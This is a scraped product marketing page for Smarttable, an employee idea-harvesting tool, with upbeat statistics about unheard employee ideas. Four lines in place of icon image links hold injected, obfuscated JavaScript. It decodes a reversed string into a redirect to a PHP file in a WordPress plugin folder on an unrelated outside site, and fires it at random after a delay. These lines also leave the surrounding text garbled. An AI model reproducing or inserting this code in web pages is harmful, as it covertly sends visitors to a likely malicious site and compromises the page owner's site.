Smarttable
An easy, effective, and engaging way to uncover your employees’ productivity potential.
Transform ideas into measured success.
Capture issues and ideas quickly and efficiently
Quantify your savings potential by collecting, prioritizing, and optimizing recurring operational activities.
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>anding-icon-17.png){kind=icon}
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>anding-icon-17-hover.png){kind=icon}
Process of harvesting ideas and issues
Not having an idea harvesting process in place can be very discouraging for employees and managers, affecting the company morale heavily.
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>anding-icon-16.png){kind=icon}
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>anding-icon-16-hover.png){kind=icon}
Unspoken idea potential
39% of employees feel frustration because their ideas are not being listened to and 1/5 of them never speak up. Once not being heard, can shut their mouths forever.
Bottom-up communication can be improved
82% of employees have improvement proposals but it's almost impossible for managers to harvest and manage all the contributions.
Time investment is huge
Operations managers can invest up to 17 or more actions and meetings into improving the processes. Time losses need to be measured also on an operational level.
of employees have ideas for improvements
Harvest the issues and ideas with automated support.
feels their ideas are not being listened to
With Smarttable employees get a voice and recognition for their contribution.
more effective communication
Increase the communication efficiency between management and your employees.
increase of time savings
Time savings can be enormous once the top cost-driving issues are being allocated and improved.